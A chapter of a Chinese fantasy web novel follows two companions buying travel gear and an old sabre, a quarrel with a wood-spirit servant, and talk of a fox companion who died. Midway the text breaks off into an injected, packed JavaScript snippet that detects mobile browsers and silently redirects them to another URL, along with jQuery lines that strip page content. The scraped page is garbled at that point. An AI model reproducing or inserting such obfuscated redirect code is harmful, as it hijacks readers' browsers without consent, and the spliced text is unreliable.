二人走进一家法器店。
姚烛选了黑色的隔热斗篷,铜制罗盘,避火符纸,安眠药材和安神丹。容溪提着个篮子跟在她后头。篮子被稀奇古怪的东西装得满满当当。掌柜的打着算盘,清点东西,给他们结账。他精明目光透过发财树打量二位来客,笑道:“二位是想去龙骨秘境吗?”
姚烛反问:“何以见得?”
掌柜的道:“这个月净卖这些装备了。一问,全都是去龙骨秘境寻宝的。”
这就好比出现淘金热,最先暴富的一定是那些卖锄头的。
掌柜的消息灵通,慧眼如炬。
“听说龙骨秘境的入口在回风城一带。离咱们仓州千里迢迢。他们都花大价钱买了御物飞行的配件,还有许多补气丹和浓缩粮食药丸。准备赶路。您却要助眠药材和安神丹。怎么,您二位没打算飞过去,而是睡过去吗?”
掌柜的精明老辣,不放过一丝打探消息的机会。姚烛所需隔热斗篷和定位罗盘等物,与旁人类似,唯独那些药不一样。掌柜的揣测她的去法和旁人有区别。
姚烛道:“路上颠簸难眠,喝点汤药好入睡。”
她脸上戴着白面具,是最不好得罪的那一类主顾。
掌柜的收敛好奇心,不再过多探问,笑道:“得嘞,一共是五百七十二两。零头给您抹了,就算五百七十两。您怎么结账?”
姚烛从袖中取出一瓶药水,押在桌上,道:“以物易物。”
显然她是这里的常客,熟悉各种交易方式。
掌柜的轻车熟路接过药水核验,嗅了嗅,眉开眼笑。
“上品补气丹,硬通货。”掌柜的忙不迭让人取来一对传音螺,同其他东西包好,“小小礼物,还请笑纳。以后多多惠顾。”
姚烛示意容溪收下。掌柜的亲自送他们出门,满脸阿谀谄媚,道:“姑娘,在我们仓州,能炼出上品补气丹的炼丹师不多了。您如果能稳定供货,我们店里的收购价一定是高的……”
姚烛如今不怎么炼丹了,缺钱才勉强重操旧业,她随口敷衍两句:“好说。”
提着大包小包走到门口,容溪脚步一顿。
他今天陪姚烛出来买东西,自己倒没什么想买的。
但墙上挂着一把刀吸引了他的注意力。
刀身和刀鞘并排挂在墙上,泛着古老的冷光。刀鞘锈迹斑驳,刀身却光滑流畅,篆刻着令人眼花缭乱的花纹。藤蔓的花纹勾连凹槽,血泥已被冲洗干净,但那股腐朽的尸气隐隐透出些许杀气。这是把杀过人的刀。
容溪耳边传来滴血声,他的心像是猛然被什么东西攥住。
号角声如同浪潮席卷而来,他脑海中嗡鸣作响,骨骼发颤。苦涩滋味从舌根蔓延至舌苔,他尝到了血的味道。一愣神,号角声消失了。他才意识到自己紧咬牙关咬破舌尖。那把刀静静矗立在眼前,仿佛藏着只死了一千年的鬼魂,在跟他对视。
掌柜的见容溪被吸引,大喜过望,忙上前道:“您可太有眼光了。这是本店的镇店之宝,十年前从一个西域商人手里收的。是位将军用过的,名叫弦月刀。要取下来瞧瞧吗?”
这把刀让他有种很奇怪的感觉。容溪看得走不动路。掌柜亲自取了下来,递给他。容溪双手握刀,掌柜的指着一方石头,鼓励他,“砍两下试试。”
容溪挥刀,将石头斩断成两半。
“哎哟,您真是器宇不凡,天生神力。瞧着刀法身姿,行云流水一气呵成,我这辈子也没见过几个耍刀这么漂亮的,”掌柜的竭力推销这把刀,舌灿莲花,将他夸了又夸,“你诚心想要的话,给你友情价六百六十六两。”
哪个冤大头能听了几句忽悠花那么多钱买刀。容溪顿时想把刀挂回墙上。
姚烛顺口接过话茬:“这么贵。”
掌柜笑道:“这刀认主,不少人买回去,使唤不动。还老是划伤手。我看它跟这位小兄弟有缘。打骨折卖给他。”
姚烛看向容溪,“喜欢吗?”
容溪被这个报价吓住了,摇摇头,道:“太贵了。”
姚烛便道:“六两卖不卖?”
掌柜道:“您就别开玩笑了,六两,当废铁卖也不止。”
姚烛道:“说废铁都抬举这刀了。我们买回去砍砍柴,不卖就算了。”
“五百两,这是最大的让步。”
“五两。”
“没您这么砍价的。”
“算了。”
“别别别……再商量商量,您说个实心价。”
“就五两。”
“这……”一番拉扯后,最终以五两成交了。
“这刀是个自以为是的蠢货做的,害死了一位将军。不值得那么高的价钱。”姚烛似乎不喜欢这把刀。看在容溪的份上,才勉强掏钱买下。“你想要刀,我以后给你买把好的。”
容溪摩挲着刀背,他第一次拥有属于自己的刀,暗自兴奋,面上矜持道:“这钱算我借你的。”
姚烛道:“不值什么,拿着玩吧。”
比起木橙那个败家子,容溪花的简直是九牛一毛。
买完东西,二人同木橙汇合。木橙似乎有法子锁定姚烛的位置。他们刚走到大路上,木橙从天而降,火冒三丈,道:“你们跑那么快,一转眼就没影了。”
容溪遭遇质问,嘴角微微抽搐。他好像又一次得罪了木橙。
木橙强行挤进他们俩中间,疑神疑鬼,“你们俩背着我干什么去了?”
容溪提起篮子示意,“买东西。”
木橙道:“为什么不等我?”
姚烛道:“你每次进法器店,总要买一堆破烂,我的钱哪里经得起你挥霍。”
木橙像是被踩了尾巴,愤愤不平:“老板,你说这话太没良心了。我为你出生入死,花你一点钱怎么了。你又不缺钱。”她抓住姚烛的手指,用力挥了挥,“用你这金贵的手指炼炼丹,钱不就流水一样流进荷包了吗?”
姚烛抽回自己的手,道:“我懒得炼。”
姚烛原来很勤奋,炼丹是炉算的。后来渐渐懒怠,缺钱的时候才炼一点。搞得木橙的生活水平直线下降。以前木橙刚跟她的时候,那是挥金如土,吃好吃的,买好玩的。花钱如流水,快乐无边。木橙酷爱有滋有味的生活,而姚烛完全是另一个极端。
姚烛空有一双能挣钱的手,却懒得令人发指。有段时间丧心病狂地住在山洞里,饭也懒得吃,只喝水。木橙对野人般的生活忍无可忍,气得要离家出走。姚烛这才妥协。两人坐船飘到海云镇,盘下一家酒馆,勉强活得有个人样。
“我求你了老板,”木橙耿耿于怀,心头涌起万般怨念,“你能再次支棱起来吗。”
“我这样不是挺好的。”
“哪里好了,”木橙从口袋掏出一颗果脯,“有本事你把这东西吃下去。”
“没胃口,不想吃。”姚烛推开挡在嘴上的手。
“十年前,你说了这六个字,然后再也没吃过东西。”
“辟谷的人多的是。”
“人家只是单纯辟谷。你看看你,和一具行尸走肉有什么区别。”木橙对她的种种行为如数家珍,掰着手指头,“不吃东西,不喜欢钱,不喜欢男人。”
“……”
“我在大庭广众之下揭你的短,你都没反应。”
木橙痛心疾首,话音一时没控制好大小,“你他妈的甚至连脸都不要。”
姚烛顿住脚步,突然就停在了大街上。容溪看着她。所有路人都回过头看着她。喧闹的街市仿佛安静了一瞬间。异样目光如针刺般汇聚在姚烛身上。姚烛深吸了一口气,看向木橙,有点伤脑筋。木橙总是猝不及防突然犯病。
姚烛完全不觉得自己有任何问题,道:“你够了。”
木橙一拳打在棉花上。
木橙几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995147|192640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欲吐血。她心如死灰地看向容溪,破罐子破摔,道:“小容,你看,这就是我们的老板。你在大街上众目睽睽之下骂她,她都不生气。如果有一天你干出一件让她雷霆大怒的事,我木橙就服了你。”
容溪道:“……”这话让他不知道怎么接。
像姚烛这种杀人放火的法外狂徒,激怒她似乎并不是个很好的选择。
木橙话匣子一打开根本关不住,接着揭姚烛的老底,“你知道吗,我带她去檀楼嫖……”
姚烛一把捂住木橙的嘴,把后头的话扼杀在摇篮里。
容溪不明所以,看着姚烛骤然暴起的动作,问道:“檀楼什么?”
木橙疯狂眨眼睛。
姚烛锁住木橙的喉咙,面无表情道:“你再胡说八道……”
木橙疯狂挑衅,故意道:“你把我怎么样?”
姚烛掐住木橙的脖子,一捏。木橙两眼一翻,身体骤然缩水,化成木头,掉在地上。姚烛捡起木头和面具,塞进宽大的袖子里。
她把木橙打回原形了。
姚烛耳边回归清净,回过头,对上容溪探寻的眼神。觉得有必要把自己碎了一地的面子捡起来。她叹了一口气,又无从解释,只好道:“木橙喜欢胡说八道,别听她胡扯。”
容溪哦了一声,低下头。嘴角却不由自主勾了起来。
这主仆俩和他想象中很不一样。
姚烛道:“你是不是在笑?”
容溪嘴硬道:“没有。”
姚烛皱眉盯着他的脸,他扭开脸,欲盖弥彰看向别处。
二人离开市集,往回家的方向飞去。
依旧是容溪负责驱车。没了木橙聒噪,马车里安静得过分。
外面有风,云霞,崇山峻岭。
容溪眼底倒映着瑰丽万丈的夕阳。他屈起一条腿,另一条腿荡在半空中。姿态放松,手臂随意搭在膝盖上。挺拔的身姿让他看起来坐着的弓。腰间被一根红色的腰带系着,收得极细。腰带的末端飞了起来。在姚烛的眼前飘来飘去。
姚烛道:“喜欢看风景?”
没那么喜欢,可他不看外面,难道看她吗……
容溪抓住自己乱飞的腰带,他今天就不该穿这身出来,花里胡哨的。
姚烛道:“怎么不说话?”
容溪往里收了收,他嗅到她身上飘来淡淡的香气,“不知道该说什么。”
姚烛道:“在迷阵中不是说了很多。”
提到迷阵的事,容溪耳根微微发红。他也很难理解自己上次为何喋喋不休,回想起来简直想给自己两拳。容溪思索片刻,酝酿着,提起一个话头,“你和木橙认识很久了?”
姚烛道:“自她化形二十年来,一直跟着我的。”
二十年,难怪感情这么深厚。
他心底里不由得生出几分艳羡。原来她们相熟这么久了。
“除了木橙,你还养过别的吗?”
“养过一只狐狸。”
“他在哪?”
“死了。”姚烛道。
容溪没有朋友,很少跟人闲聊天。他不知道该怎么润物细无声的,在闲话家常中引导姚烛说出更多以前的事。以至于一开口就是单刀直入,忘了分寸。他控制不住发问的冲动,又怕引起姚烛警觉。这次的话头可是姚烛挑起的。
容溪若无其事接了句茬:“生病了吗?”
姚烛道:“他去救我,死在救我的路上。”
容溪道:“你想他吗?”
姚烛道:“偶尔。”
容溪道:“他对你很重要?”
姚烛道:“很重要。”
原来,她还记得过去的故人。容溪本以为这么多年过去,她可能早就忘了。
那一切对她来说是很重要的吗……
也许他误会了。
她好像,没有抛弃他们,只是误以为他们都死了。